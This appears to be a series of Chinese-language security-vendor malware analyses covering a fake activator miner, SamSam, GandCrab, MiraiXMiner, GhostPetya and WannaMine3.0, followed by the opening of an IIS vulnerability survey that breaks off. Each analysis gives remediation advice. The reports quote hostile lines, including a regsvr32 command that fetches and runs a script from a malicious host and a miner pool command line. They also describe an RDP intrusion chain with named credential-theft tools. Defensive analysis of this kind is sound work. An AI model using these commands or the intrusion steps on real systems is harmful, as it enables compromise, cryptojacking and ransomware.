1、现象描述

近日,深信服EDR安全团队捕获到一个伪装成激活软件Windows Loader的病毒样本。经分析,该样本并没有激活功能,其主要功能是安装广告软件以及挖矿程序。

挖矿程序会拉起系统进程并在其中注入挖矿代码,并循环监控taskmgr.exe进程,如果检测到taskmgr.exe进程则终止挖矿,使得受害者比较难以察觉。

图片1.png

2、行为分析

2.1 病毒母体

病毒母体图标伪装成Windows Loader:

图片2.png

其实是用CreateInstall制作的安装包:

图片3.png

安装界面:

图片4.png

释放如下几个文件到C:\Program Files (x86)\KMSPico 10.2.1 Final目录并运行脚本WINLOADER_SETUP.BAT。

图片5.png

WINLOADER_SETUP.BAT依次运行WindowsLoader.exe、Registry_Activation_2751393056.exe和activation.exe。

图片6.png

WindowsLoader.exe与Registry_Activation_2751393056.exe都是广告软件,activation.exe则是挖矿程序。

2.2 WindowsLoader.exe

首先是WindowsLoader.exe,可以看出病毒作者显然是个摄影爱好者,在程序的资源中也不忘插入自己喜欢的艺术照(已马赛克处理)。

图片7.png

WindowsLoader.exe安装界面:

图片8.png

会下载并安装RunBooster:

图片9.png

安装RunBooster服务:

图片10.png

RunBoosterUpdateTask升级任务计划:

图片11.png

RunBooster的抓包行为:

图片12.png

 

图片13.png

2.3 Registry_Activation_2751393056.exe

Registry_Activation_2751393056.exe安装界面:

图片14.png

功能存在问题,下载的exe文件没有带后缀名:

图片15.png

2.4 activation.exe

首先在Local目录下新建cypjMERAky文件夹并将自己拷贝到下面。

图片16.png

添加注册表自启动项。

图片17.png

图片18.png

检测是否存在taskmgr.exe进程。

图片19.png

如果taskmgr.exe进程不存在则拉起系统进程wuapp.exe,参数为“ -a cryptonight -o stratum+tcp://xmr.pool.minergate.com:45560 -u [email protected] -p x -t 2”。

图片20.png

将挖矿程序注入到wuapp.exe进程。

图片21.png

挖矿程序为开源的cpuminer-multi 1.2-dev。

图片22.png

进入循环,守护注册表自启动项,并检测taskmgr.exe进程,如果检测到则终止wuapp.exe。

图片23.png

3、解决方案

(1)不从不明网站下载软件,不要点击来源不明的邮件以及附件;

(2)及时给电脑打补丁,修复漏洞;

(3)尽量关闭不必要的文件共享权限以及关闭不必要的端口,如:445,135,139,3389等;

(4)安装专业的终端/服务器安全防护软件,深信服EDR能够有效查杀该病毒。

一、样本简介

最近深信服EDR安全团队发现SamSam勒索病毒的最新变种样本,编译时间较新,加密后的文件后缀名与之前发现的一款变种一样,同样以.weapologize结尾,样本采用RSA2048+AES加密算法进行加密,加密后的文件无法解密。

SamSam勒索病毒作为最活跃的勒索病毒之一,在2015-2018年期间,造成了至少3000万美元的社会损失,据调查这款勒索软件至少勒索了价值一千万美元以上的比特币,此前SamSam勒索病毒的两位作者已经被FBI指控,分别为现居住在伊朗的27岁的Mohammad Mehdi Shah Mansour和34岁的Faramarz Shahi Savandi,如下所示:

1.jpg

FBT公布了两个BTC钱包地址,如下所示:

2.png

 

3.png

深信服EDR安全团队一直在持续关注并跟踪此勒索病毒家族,之前已发布两次相关的预警分析报告:

· SamSam勒索病毒变种预警

https://mp.weixin.qq.com/s/e8a2oc4R4B_CzTPrp64TUQ

· 预警:SamSam勒索病毒最新变种来袭

https://mp.weixin.qq.com/s/2a9Jj63H9nr-B2AwhwadLg

二、详细分析

1.样本采用NET语言进行编写,如下所示:

4.png

查看样本的编译时间,为2018年12月11号,如下所示:

5.png

2.传入相应的三个参数,如果没有参数,则直接退出程序,如下所示:

6.png

3.解密生成勒索相关信息,如下所示:

7.png

通过AES算法进行解密,如下所示:

8.png

4.在当前目录下读取存放RSA公钥Key的*.keyxml配置文件,如下所示:

9.png

5.遍历磁盘文件,如下所示:

10.png

比较获取到的磁盘文件的文件名,如下所示:

11.png

如果文件目录或文件扩展名包含以下文件名或目录,则不进行加密操作,相应的文件名和目录,如下所示:

文件后缀名为:

.weapologize、.search-ms、.exe、.msi、.lnk、.wim、.scf、.ini、.sys、.dll

文件名为:

SORRY-FOR-FILES.html、g04inst.bat、desktop.ini、ntuser.dat

目录包含:

c:\\ProgramData、c:\\windows、c:\\winnt、microsoft\\windows、appdata、
Reference assemblies\\microsoft、recycle.bin、c:\\users\\all users、
c:\\documents and settings\\all users、c:\\boot、c:\\users\\default

6.判断磁盘文件后缀名,如果在加密后缀文件名列表中,则进行后面的加密操作,如下所示:

12.png

一共有330个需要加密的文件的后缀名,如下所示:

".vb"、".asmx"、".config"、".3dm"、".3ds"、".3fr"、".3g2"、".3gp"、".3pr"、".7z"、".ab4"、".accdb"、".accde"、".accdr"、".accdt"、".ach"、".acr"、".act"、".adb"".ads"、".agdl"、".ai"、".ait"、".al"、".apj"、".arw"、".asf"、".asm"、".asp"、".aspx"、".asx"、".avi"、".awg"、".back"、".backup"、".backupdb"、".bak"、".lua"".m"、".m4v"、".max"、".mdb"、".mdc"、".mdf"、".mef"、".mfw"、".mmw"、".moneywell"、".mos"、".mov"、".mp3"、".mp4"、".mpg"、".mrw"、".msg"、".myd"、".nd"、".ndd"".nef"、".nk2"、".nop"、".nrw"、".ns2"、".ns3"、".ns4"、".nsd"、".nsf"、".nsg"、".nsh"、".nwb"、".nx2"、".nxl"、".nyf"、".tif"、".tlg"、".txt"、".vob"、".wallet"".war"、".wav"、".wb2"、".wmv"、".wpd"、".wps"、".x11"、".x3f"、".xis"、".xla"、".xlam"、".xlk"、".xlm"、".xlr"、".xls"、".xlsb"、".xlsm"、".xlsx"、".xlt"、".xltm"、".xltx"、".xlw"
".xml"、".ycbcra"、".yuv"、".zip"、".sqlite"、".sqlite3"、".sqlitedb"、".sr2"、".srf"、".srt"、".srw"、".st4"、".st5"、".st6"、".st7"、".st8"、".std"、".sti"
".stw"、".stx"、".svg"、".swf"、".sxc"、".sxd"、".sxg"、".sxi"、".sxm"、".sxw"、".tex"、".tga"、".thm"、".tib"、".py"、".qba"、".qbb"、".qbm"、".qbr"、".qbw"、".qbx"、".qby"、".r3d"、".raf"、".rar"、".rat"、".raw"、".rdb"、".rm"、".rtf"、".rw2"、".rwl"、".rwz"、".s3db"、".sas7bdat"、".say"、".sd0"、".sda"、".sdf"、".sldm"、".sldx"、".sql"、".pdd"、".pdf"、".pef"、".pem"、".pfx"、".php"、".php5"、".phtml"、".pl"、".plc"、".png"、".pot"、".potm"、".potx"、".ppam"、".pps"、".ppsm"、".ppsx"、".ppt"、".pptm"、".pptx"、".prf"、".ps"、".psafe3"、".psd"、".pspimage"、".pst"、".ptx"、".oab"、".obj"、".odb"、".odc"、".odf"、".odg"、".odm"、".odp"、".ods"、".odt"、".oil"、".orf"、".ost"、".otg"、".oth"、".otp"、".ots"、".ott"、".p12"、".p7b"、".p7c"、".pab"、".pages"、".pas"、".pat"、".pbl"、".pcd"、".pct"、".pdb"、".gray"、".grey"、".gry"、".h"、".hbk"、".hpp"、".htm"、".html"、".ibank"、".ibd"、".ibz"、".idx"、".iif"、".iiq"、".incpas"、".indd"、".jar"、".java"、".jpe"、".jpeg"、".jpg"、".jsp"、".kbx"、".kc2"、".kdbx"、".kdc"、".key"、".kpdx"、".doc"、".docm"、".docx"、".dot"、".dotm"、".dotx"、".drf"、".drw"、".dtd"、".dwg"、".dxb"、".dxf"、".dxg"、".eml"、".eps"、".erbsql"、".erf"、".exf"、".fdb"、".ffd"、".fff"、".fh"、".fhd"、".fla"、".flac"、".flv"、".fmb"、".fpx"、".fxg"、".cpp"、".cr2"、".craw"、".crt"、".crw"、".cs"、".csh"、".csl"、".csv"、".dac"、".bank"、".bay"、".bdb"、".bgt"、".bik"、".bkf"、".bkp"、".blend"、".bpw"、".c"、".cdf"、".cdr"、".cdr3"、".cdr4"、".cdr5"、".cdr6"、".cdrw"、".cdx"、".ce1"、".ce2"、".cer"、".cfp"、".cgm"、".cib"、".class"、".cls"、".cmt"、".cpi"、".ddoc"、".ddrw"、".dds"、".der"、".des"、".design"、".dgc"、".djvu"、".db"、".db-journal"、".db3"、".dcr"、".dcs"、".ddd"、".dbf"、".dbx"、".dc2"、".pbl"

两个需要加密的数据库后缀名sql、mdf,如下所示:

13.png

7.加密文件,生成.weapologize结尾的加密文件,如下所示:

14.png

生成后的加密文件文件名,如下所示:

15.png

利用生成的AES的key和iv加密文件,如下所示:

16.png

同时使用RAS公钥加密的AES的key和iv等信息并写入到文件中,如下所示:

17.png

RSA加密过程,如下所示:

18.png

8.生成十个勒索信息超文本文件[0000-0009]-SORRY-FOR-FILES.html,同时删除原文件,如下所示:

19.png

生成的勒索信息超文本文件,如下所示:

20.png

文件内容如下所示:

21.png

红框内容中的为之前传入的三个参数,相应的BTC钱包地址:

1HbJu2kL4xDNK1L9YUDkJnqh3yiC119YM2

三、解决方案

深信服EDR安全团队提醒广大用户:

1.不要点击来源不明的邮件附件,不从不明网站下载软件。

2.及时给主机打补丁,修复相应的高危漏洞。

3.对重要的数据文件定期进行非本地备份。

4.尽量关闭不必要的文件共享权限以及关闭不必要的端口,如:445,135,139,3389等。

5.RDP远程服务器等连接尽量使用强密码,不要使用弱密码。

6.安装专业的终端安全防护软件,为主机提供端点防护和病毒检测清理功能。

一、谁是勒索界当之无愧的海王?

2018年是一个勒索病毒高发的年度,可谓百(can)花(bu)争(ren)艳(du),勒索家族变种、传播方式层出不穷,所谓你方唱罢我登台,直接把CHINA当作了屠宰场,年初宰到了年尾,明年估计形势会更不乐观。

但大家是否会好奇,勒索病毒这么多,到底哪一家“强”呢?

深信服EDR安全团队,综合了2018年一整年的数据(感染案例,实际数据会更多),得出这位最终的勒索届年度海王为:GandCrab勒索病毒,中文外号咸水国巨蟹。下图,是这只巨蟹横行过的区域,包括新疆、广东、安徽、青海、江西、福建、浙江、山西、吉林、贵州、天津、北京、上海、河北、山东、辽宁、江苏、四川等,基本覆盖大半个中国,以东部沿海最为严重。

1.png

 

GandCrab勒索病毒是2018年勒索病毒家族中最活跃的家族,该勒索病毒首次出现于2018年1月,在将近一年的时候内,经历了五个大版本的更新迭代,此勒索病毒的传播感染方式多种多样,使用的技术也不断升级,勒索病毒采用高强度加密算法,导致加密后的文件,大部分无法解密。

 

2_2.png

深信服EDR安全团队,跟踪分析此勒索病毒将近一年的时间内,发现该勒索病毒主要的传播方式,如下:

(1)RDP爆破

(2)发送垃圾邮件,附加恶意链接或邮件附件,通过Word宏等加载PowerShell下载

(3)感染相关网站,下载捆绑有恶意程序的更新程序或正常软件

(4)利用RigEK、GrandSoft、Fallout Exploit等漏洞利用工具包,通过无文件方式PowerShell、JS、VBS等脚本释放加载

(5)通过恶意下载器下载勒索病毒

(6)通过U盘感染

二、海王的继承人和新生儿

同时是海王又是蟹王的GandCrab,可谓子孙繁多,其中GandCrab5.0.4最为勇猛,喜欢横行霸道,绝大多数“城堡”都是这位王子打下的,已经成为GandCrab勒索家族的事实上的代表和继承人。

近日,GandCrab这只巨蟹又生了一个娃,叫GandCrab5.0.9,他的上个哥哥是GandCrab5.0.5,上上个哥哥是GandCrab5.0.4,上上上个哥哥是GandCrab5.0.3。

深信服EDR安全团队,作为国内第一家发现并“吃蟹”的团队,始终在第一时间进行了深入报道,参考如下:

3.png

下面,重点介绍下新生儿GandCrab5.0.9:病毒在运行之后,会弹出对话框,如下所示:

4.png

加密文件之后,桌面显示,如下所示:

5-2.png

加密后的文件,是随机10个字母的后缀名,如下所示:

6.png

相应的勒索信息,如下所示:

7.png

TOR勒索站点的信息,如下所示:

8.png

可以看到TOR勒索站点作者在右侧还提供了一个聊天窗体,可以跟黑客进行聊天通信

通过分析发现它与之前的GandCrab5.0.5基本无差异,如下所示:

9.png

入口函数,对比如下:

10.png

主功能函数,对比如下:

11.png

主功能函数代码段中,GandCrab5.0.5第一个功能函数是空的,如下所示:

12.png

在GandCrab5.0.9版本中,作者编写了弹框信息代码,如下所示:

13.png

弹出对话框,如下所示:

14.png

点击确认之后,执行后面的加密勒索流程,与之前的GandCrab5.0.5的流程一样,如下所示:

15.png

同时相应的版本号也发生了变化,对比如下:

16.png

此勒索病毒的作者在发布GandCrab5.0.9之后弹出了一个对话框,提示“他们”会很快回来的…… 

三、海王的家族变异史和传播方式

深信服EDR安全团队一直在研究跟进此勒索病毒,通过跟踪发现此勒索病毒,从2018年1月,在一年的时候内主要经历了五次大的版本变种,如下所示:

1.png

其中各大的版本之间又出现过些小的版本更新,比如V2.1版本,V4.3版等,特别是V5版之后,连续出现多个小版本的迭代,这些小版本的功能代码基本类似,例如V5.0.1、V5.0.2、V5.0.3、V5.0.4、V5.0.5,以及这次出现最新版本V5.0.9,可以相信未来黑客还会变种……

勒索界海王的主要的传播方式,如下:

(1)RDP爆破

(2)发送垃圾邮件,附加恶意链接或邮件附件,通过Word宏等加载PowerShell下载

(3)感染相关网站,下载捆绑有恶意程序的更新程序或正常软件

(4)利用RigEK、GrandSoft、Fallout Exploit等漏洞利用工具包,通过无文件方式PowerShell、JS、VBS等脚本释放加载

(5)通过恶意下载器下载勒索病毒

(6)通过U盘感染

但最为经典,使用面最广的,也是最为简单粗暴的,是RDP爆破,其经典传播模型:

17.png

1、RDP爆破入侵

黑客首先RDP爆破其中一台主机,成功获取到该主机的控制权后,上传黑客一整套工具,包括:进程管理工具、内网扫描工具、密码抓取工具、暴力破解工具以及勒索病毒体。由于其中某些工具容易被杀软查杀,因此黑客对其进行了加密压缩处理,压缩密码为“123”。

18.png

2、结束杀软进程

上传完工具后,黑客就开始“干活”了。首先是要解决掉杀毒软件,用进程管理工具“ProcessHacker”结束杀软进程。

3、内网扫描

然后,黑客试图“扩大战果”,控制更多的内网主机。使用内网扫描工具“KPortScan”、“nasp”、“NetworkShare”来发现更多潜在目标。

4、抓取密码

同时,使用“mimikatz”抓取本机密码,“WebBrowserPassView”抓取浏览器密码。由于内网中普遍存在密码相同的情况,因此抓到的密码很有可能能够直接登陆其他主机。

5、暴力破解

接下来就是使用“DUBrute”对内网主机进行RDP爆破。

6、运行勒索病毒

HW包含了勒索病毒体HW.5.0.2.exe以及一个文本文件HW.txt,HW.txt记录了用于无文件勒索的powershell命令。黑客可直接运行勒索病毒体或者执行powershell命令进行勒索。

19.jpg

四、如何防御和狙击海王?

针对已经出现勒索现象的用户,由于暂时没有解密工具,建议尽快对感染主机进行断网隔离。

深信服提醒广大用户尽快做好病毒检测与防御措施,防范此次勒索攻击。

病毒防御

1、及时给主机打补丁,修复漏洞,升级最新病毒库。

2、对重要的数据文件定期进行非本地备份。

3、更改账户密码,设置强密码,避免使用统一的密码,因为统一的密码会导致一台被攻破,多台遭殃。

4、GandCrab勒索软件会利用RDP(远程桌面协议),如果业务上无需使用RDP的,建议关闭RDP。当出现此类事件时,推荐使用深信服防火墙,或者终端检测响应平台(EDR)的微隔离功能对3389等端口进行封堵,防止扩散!

5、深信服防火墙、终端检测响应平台(EDR)均有防爆破功能,防火墙开启此功能并启用11080051、11080027、11080016规则,EDR开启防爆破功能可进行防御。

6、不明邮件不要随意点开,防止被钓鱼攻击。

7、不要从网上随意下载不明软件,此类软件极可能隐藏病毒。

8、U盘管控需做好,避免通过U盘进行交叉感染。

最后,建议企业对全网进行一次安全检查和杀毒扫描,加强防护工作。

近日,深信服安全团队跟踪到一新型的物联网僵尸网络,其融合了多种已知病毒家族的特点,包括Mirai物联网僵尸网络病毒、MyKings僵尸网络病毒、远控木马、挖矿等,传播方式包括永恒之蓝漏洞、闭路电视物联网设备漏洞、MSSQL漏洞、RDP爆破和Telnet爆破等。

深信服已将其命名为MiraiXMiner,并且制定了完善的防御措施。

0x01攻击流程

1. 病毒母体msinfo.exe通过注册服务&写入恶意代码到数据库的手段,实现持久化攻击。

2. 根据C&C命令从云端下载任意的攻击模块,此次的攻击模块为csrs.exe。

3. 添加恶意特权账户admin$。

4. 从黑客服务器下载三个子模块:后门模块、DNS劫持模块、净化&下载挖矿模块。

5. 后门模块up.rar经过分析发现为有名的BootKit远控木马。

6. u.exe通过篡改DNS配置文件达到劫持DNS的目的。

7. 净化模块upsnew2.exe的功能很多,除了杀死同行病毒,添加自启动项以外,还会停止Windows自动更新服务,以更稳定地控制受害主机。最重要的,该模块后续还会不定期下载并执行挖矿程序。

8. 使用扫描工具和Mirari攻击库对内网设备进行大范围攻击。

9. 最后,母体msinfo.exe会连接云端,自动更新病毒,实时下载最新的攻击模块。

1.png

0x02传播模块

2.png

扫描445端口,如下所示:

3.png

通过内置的masscan程序进行扫描,如下所示:

4.png

通过内置的nmap程序进行扫描行为,如下所示:

5.png

对扫描到的目标,相应的攻击行为,如下所示:

执行永恒之蓝攻击行为CrackerMS17010,如下所示:

6.png

攻击CCTV物联网设备漏洞CrackerCCTV,如下所示:

7.png

攻击MSSQL漏洞CrackerMSSQL,如下所示:

8.png

然后执行下面的数据库Payload命令过程,如下所示:

9.png

将如下恶意代码写入数据库存储过程中,如下所示:

10.png

恶意代码如下所示:

对RDP进行攻击CrackerRDP,如下所示:

11.png

对Telnet进行攻击CrackerTelnet,如下所示:

12.png

0x03 创建admin$账号

从服务器上下载相应的配置文件,然后解密,如下所示:

13.png

然后解密出相应的XML文件,进行下载执行恶意程序操作,如下所示:

14.png

下载回来的CSRS是一个python脚本编写后生成的EXE,主要是一个Exploit,用于通过MS17010漏洞,添加帐号,如下所示:

15.png

添加之后的主机,如下所示:

16_2.jpg

执行MS17010漏洞攻击,如下所示:

17.png

攻击的参数,如下所示:

18.png

0x04 挖矿与远控木马

下载恶意程序,能过start regsvr32 /s /u /n /i:http://up.ms1128.site:8888\\s1.txt scrobj.dll,如下所示:

19.png

解密出上面的XML脚本,如下所示:

20.png

Upsnew2释放远控木马item.dat以及c3.bat脚本。

c3.bat脚本功能如下:

清除其他病毒。

21.jpg

开启MSSQLSERVER。

22.jpg

在注册表以及任务计划中添加自启动。

23.jpg

24.jpg

关闭自动更新。

25.jpg

加载远控木马。

26.jpg

配置防火墙策略,关闭135、137、138、139、445端口,防止再被其他病毒感染。

27.jpg

0x05 解决方案

1、隔离感染主机:已中毒计算机尽快隔离,关闭所有网络连接,禁用网卡。

2、切断传播途径:关闭潜在终端的SMB 445等网络共享端口,关闭异常的外联访问。

3、查找攻击源:借助深信服安全感知平台检测内网攻击源。

4、查杀病毒:推荐使用深信服终端安全检测响应平台EDR进行查杀,病毒库需升级到20181204版本。

5、修补漏洞:打上永恒之蓝MS17-010等漏洞相关补丁。

近日,国内半导体行业爆发勒索病毒,造成业务大面积瘫痪,深信服安全团队率先接到情报并进行处置,发现其攻击手段与早期Petya勒索病毒有相似之处,但又有很大不同,其攻击方式包括控制域控服务器、钓鱼邮件、永恒之蓝漏洞攻击和暴力破解,威力巨大,可在短时间内造成内网大量主机瘫痪并弹出骷髅头!

深信服已将其命名为GhostPetya骷髅头勒索病毒,并且制定了完善的防御措施和解决方案。

1.png

中招主机,其勒索信息如下,黑客索要0.1个比特币赎金。

2.png

病毒分析

1.以读写的模式,打开主机\\.\PhysicalDrive0、\\.\PhysicalDrive1、\\.\PhysicalDrive2、\\.\PhysicalDrive3、\\.\I等磁盘,如下所示:

3.png

2.然后MBR勒索的数据写入到这些打开的磁盘空间中,如下所示:

4.png

写入的相关数据,如下所示:

5.png

显示的勒索信息,如下所示:

6.png

3.然后执行重启系统命令,如下所示:

7.png

4.从感染的主机中提取出相应的MBR数据,如下所示:

8.png

5.感染后的主机,会先调用CHKDSK进行磁盘检测操作,如下所示:

9.png

调用磁盘检测信息,如下所示:

10.png

完成之后会弹出勒索图片闪屏信息。

按任意健进入系统,显示如下所示的勒索信息:

11.png

要求受害客户支付0.1个BTC进行解锁操作,BTC地址:

· 1Ex6qfkopZ5wgbiCrxpq4cALF56yr8gLhX

6.对感染后主机的MBR进行动态调试,如下所示:

12.png

7.经过调试分析,此感染后的MBR与之前Petya勒索病毒MBR代码非常相似,调用int 13中断,将扇区1-32从磁盘加载到内存0x8000开始的地址,然后转到0x8000执行指令,如下所示:

13.png

8.循环读取$等字符串信息,用于显示勒索信息图片,如下所示:

14.png

9.显示勒索图片信息,如下所示:

15.png

设置屏幕的显示模式,如下所示:

16.png

设置屏幕滚动参数,如下所示:

17.png

然后进行闪屏操作,如下所示:

18.png

10.检测是否有键盘按键信息,如下所示:

19.png

11.如果有按键信息,则读取相应的勒索信息,弹出信息勒索信息显示界面,如下所示:

20.png

相应的勒索信息数据,如下所示:

21.png

12.循环检测用户输入的key,如下所示:

22.png

解决方案

1、隔离感染主机:已中毒计算机尽快隔离,关闭所有网络连接,禁用网卡。

2、切断传播途径:关闭潜在终端的SMB 445等网络共享端口,关闭异常的外联访问。

3、查找攻击源:借助深信服安全感知平台。

4、查杀病毒:推荐使用深信服EDR进行查杀。

5、修补漏洞:打上漏洞相关补丁,漏洞包括“永恒之蓝”漏洞等

不幸中招的用户,可以尝试以下方式进行业务恢复:

1:进入PE模式和制作启动U盘

工具:

· U盘启动制作软件

· U盘(制作启动盘时候格式化)

· 测试PC为Windows

23_2.png

制作好后U盘插入PC,开机进入PE模式有两种方法

(1) 开机后按F12,进入启动项选择U盘启动(不同的电脑按键不一样,可自行百度)

(2) 进入BIOS系统中 (我这里选择FN+F12,可以去网上查的)选择U盘启动

24.jpg

然后进入如下图界面,由于测试的PC是windows7系统,所以选择第[02]选项

(根据中毒的PC情况来选项)

25_2.png

26.png

2:恢复数据

步骤1:接入运行桌面上的DiskGenius软件,找到中毒PC的硬盘(一般为500G和1TB左右) 

27.png

步骤2:点击鼠标右键运行”搜索已丢失分区(重建分区表)”

28.jpg

29.jpg

步骤3:如果在搜索期间,弹出“搜索到分区框”记得点击保留

30.png

步骤4:最后可以看到数据恢复了,接着需要“点击保存”

31.png

32.jpg

3:重建MBR

步骤1:正常情况下数据恢复后重启系统的话,mbr还是不能正确引导系统启动,所以这个时候需要紧接着修复mbr,点击鼠标右键运行”重建主导记录MBR”,这个时候会新建MBR

33.png

34.jpg

35.png

这个时候就可以重新启动系统就可以恢复了。

4:其它事项(注意)

2恢复数据流程

步骤2:运行在”搜索已丢失分区(重建分区表)”,当软件一直正在搜索情况下不要停止搜索后再次(重建分区表),最好是一次性(重建分区表),不然的话,第2次搜索完后丢失的数据可能会丢失部分。

步骤4:注意个别PC会存在系统C盘恢复不回来,这个时候可以直接插入备份U盘拷贝其它盘的数据出来后重装系统)。

3重建MBR流程

方法1:在DiskGenius上新建,上文已提到。

方法2:进入PE模式后,点击左下角的”引导修复–Bootice(引导扇区恢复工具)—主引导记录(M)-=选择Windows NT5.X/6.X MBR–点击安装/配置。

37.jpg

38.png

然后根据系统点击Windows NT5.X MBR或者Windows NT6.X MBR后完成重启系统即可。

注意:存在个别情况就是数据恢复回来了,但是C盘的恢复不了或者新建MBR后正常开机不了,这个时候可以在PE模式下把其它盘的重要数据拷贝出来重装系统。

近日,多个企业反馈大量主机和服务存在卡顿和蓝屏现象,在寻求深信服协助后,使用EDR进行全网扫描发现大量主机感染了相同的病毒。

深信服安全团队研究发现,该企业用户中的是最新型的WannaMine变种,之前有WannaMine1.0和WannaMine2.0版本。

此病毒变种,是基于WannaMine改造,加入了一些免杀技术,传播机制与WannaCry勒索病毒一致(可在局域网内,通过SMB快速横向扩散),故我们将其命名WannaMine3.0。

国内外发现的首例,国内安全厂商还没有相关报道。

我们对捕获的样本进行分析,发现其接入站点已变更为codidled.com。经查验,这是一个2018年11月11日刚申请注册的域名,也就是说,黑客重新编译WannaMine3.0的时间锁定为2018年11月11日或以后。

1.png

近日,多家医院先后中招,我们对其传播速度深感惊讶!未来,感染面也会跟原始变种WannaMine1.0和WannaMine2.0一样惊人!

0x01 攻击场景

此次攻击,沿用了WannaMine1.0和WannaMine2.0的精心设计,涉及的病毒模块多,感染面广,关系复杂。

2.png

所不同的是,原始“压缩包”已经变为MarsTraceDiagnostics.xml,其含有所需要的所有攻击组件。旧病毒的压缩包是可以直接解压的,但此变种做了免杀,MarsTraceDiagnostics.xml是一个特殊的数据包,需要病毒自己才能分离出各个组件。其组件有spoolsv.exe、snmpstorsrv.dll等病毒文件,此外,还有“永恒之蓝”漏洞攻击工具集(svchost.exe、spoolsv.exe、x86.dll/x64.dll等)。

本文所述病毒文件,释放在下列文件目录中

C:\Windows\System32\MarsTraceDiagnostics.xml
C:\Windows\AppDiagnostics\
C:\Windows\System32\TrustedHostex.exe

3.png

攻击顺序:

1.有一个主服务snmpstorsrv,对应动态库为snmpstorsrv.dll(由系统进程svchost.exe加载),每次都能开机启动,启动后加载spoolsv.exe。

2.spoolsv.exe对局域网进行445端口扫描,确定可攻击的内网主机。同时启动漏洞攻击程序svchost.exe和spoolsv.exe(另外一个病毒文件)。

3.svchost.exe执行“永恒之蓝”漏洞溢出攻击(目的IP由第2步确认),成功后spoolsv.exe(NSA黑客工具包DoublePulsar后门)安装后门,加载payload(x86.dll/x64.dll)。

4.payload(x86.dll/x64.dll)执行后,负责将MarsTraceDiagnostics.xml从本地复制到目的IP主机,再解压该文件,注册snmpstorsrv主服务,启动spoolsv执行攻击(每感染一台,都重复步骤1、2、3、4)。

4.jpg

0x02清理早期WannaMine版本

WannaMine3.0特意做了清理早期WannaMine版本的动作,包括删除或者停掉WannaMine1.0和WannaMine2.0相关的文件、服务和计划任务等。

清理掉之前WannaMine版本的病毒样本,如下所示:

5.png

1.停掉wmassrv服务,如下所示:

6.png

2.删除UPnPHostServices计划任务,如下所示:

7.png

3.删除EnrollCertXaml.dll,如下所示:

8.png

4.结束永恒之蓝攻击程序以及挖矿程序进程,并删除相应的文件,如下所示:

9.png

相应的进程文件如下:

C:\Windows\SpeechsTracing\spoolsv.exe
C:\Windows\System32\TasksHostServices.exe
C:\Windows\SpeechsTracing\Microsoft\svchost.exe
C:\Windows\SpeechsTracing\Microsoft\spoolsv.exe

5.删除之前wmassrv.dll文件,如下所示:

10.png

6.遍历之前版本目录下的文件,然后删除,如下所示:

11.png

相应的目录,如下所示:

C:\Windows\SpeechsTracing\
C:\Windows\SpeechsTracing\Microsoft\

7.卸载之前的挖矿模块HalPluginsServices.dll,如下所示:

12.png

 

结束rundll32.exe进程,如下所示:

13.png

并删除相应挖矿的文件。

0x03 挖矿

WannaMine3.0沿用WannaMine1.0和WannaMine2.0的套路,同样是瞄准了大规模的集体挖矿(利用了“永恒之蓝”漏洞的便利,迅速使之在局域网内迅猛传播),挖矿主体病毒文件为TrustedHostex.exe。

14.png

连入地址为codidled.com。

15.png

0x04 解决方案

1、隔离感染主机,已中毒计算机尽快隔离,关闭所有网络连接,禁用网卡。

2、切断传播途径,关闭潜在终端的SMB 445等网络共享端口,关闭异常的外联访问。深信服下一代防火墙用户,可开启IPS和僵尸网络功能,进行封堵。

3、查找攻击源,手工抓包分析或借助深信服安全感知。

4、查杀病毒。

5、修补漏洞,打上“永恒之蓝”漏洞补丁,请到微软官网,下载对应的漏洞补丁(https://technet.microsoft.com/zh-cn/library/security/ms17-010.aspx)。

一、 全球第三大网络服务器

Internet Information Services(IIS,以前称为Internet Information Server)互联网信息服务是Microsoft公司提供的可扩展Web服务器,支持HTTP,HTTP/2,HTTPS,FTP,FTPS,SMTP和NNTP等。起初用于Windows NT系列,随后内置在Windows 2000、Windows XP Professional、Windows Server 2003和后续版本一起发行。IIS目前只适用于Windows系统,不适用于其他操作系统。

根据Netcraft在2018年9月的最新全球Web服务器报告显示,Microsoft IIS依旧以9.57%的比例占据全球第三大最繁忙服务器,落后于Apache 34.07%和Nginx 25.45%。目前流行的Windows版本都默认安装IIS服务,但同时IIS的安全性一直被业内诟病,一旦IIS出现高危漏洞,将会出现范围广、影响深的特点。

图片1.png

目前IIS一共发行12个版本,从IIS 1.0版本至IIS 10.0版本,IIS 1.0-4.0已经基本退出市场,IIS 5.0-10.0是Web市场主要使用的网站服务器。随着Windows版本发布和不断更新,IIS自身的安全性也有了较大的提升。在2005-2018年期间,IIS漏洞呈现逐年减少的趋势,同时也说明了IIS漏洞POC公布越来越少、漏洞挖掘的难度也在提升。

11.png

从上述IIS漏洞统计表格可以看出,IIS 7.5、IIS 8.5和IIS 10.0是目前全球使用最多的三款IIS版本,分别对应受影响漏洞12个、4个和2个,呈现受影响漏洞数量递减的趋势。同时,在历年的IIS版本漏洞中,IIS 6.0、IIS 5.1、IIS 7.5和IIS 7.0受影响的漏洞数居前四位。

二、 IIS漏洞分析

千里目实验室针对IIS近十几年(2005年以后)的35个漏洞进行和整理和分析,IIS漏洞主要分布在缓冲区溢出、认证绕过、DOS拒绝服务、代码执行和信息泄露,其中以MS15-034远程代码执行漏洞最为严重。

图片3.png

微信截图_20181122151534.png 

由上表可以看到,IIS历年漏洞主要以远程漏洞为主,占漏洞总数85.71%,本地漏洞有5个,占漏洞总数14.29%。其中5个本地漏洞分别是:(MS12-073)Microsoft IIS密码信息泄露漏洞CVE-2012-2531、 Microsoft IIS源代码泄露漏洞CVE-2005-2678、 (MS17-016)Microsoft Internet信息服务器跨站脚本漏洞CVE-2017-0055、 (MS16-016)IIS WEBDAV特权提升漏洞CVE-2016-0051、 (MS08-005)Microsoft IIS 文件更改通知本地权限提升漏洞CVE-2008-0074。

以下主要针对IIS漏洞中可以远程利用的重点漏洞做分析和复现:

1.  缓冲区溢出漏洞

1.1 (MS09-053)Microsoft IIS FTPd服务NLST命令栈缓冲区CVE-2009-3023

1.1.1 漏洞描述

Microsoft IIS内嵌的FTP服务器中存在基于栈的缓冲区溢出漏洞。如果远程攻击者对带有特制名称的目录发布了包含有通配符的FTP NLST(NAME LIST)命令的话,就可以触发这个溢出,导致执行任意代码。仅在攻击者拥有写访问权限的情况下才可以创建带有特殊名称的目录。  

1.1.2 漏洞分析和复现

· 漏洞影响版本:IIS 5.0、IIS 5.1、IIS 6.0

· 漏洞分析:

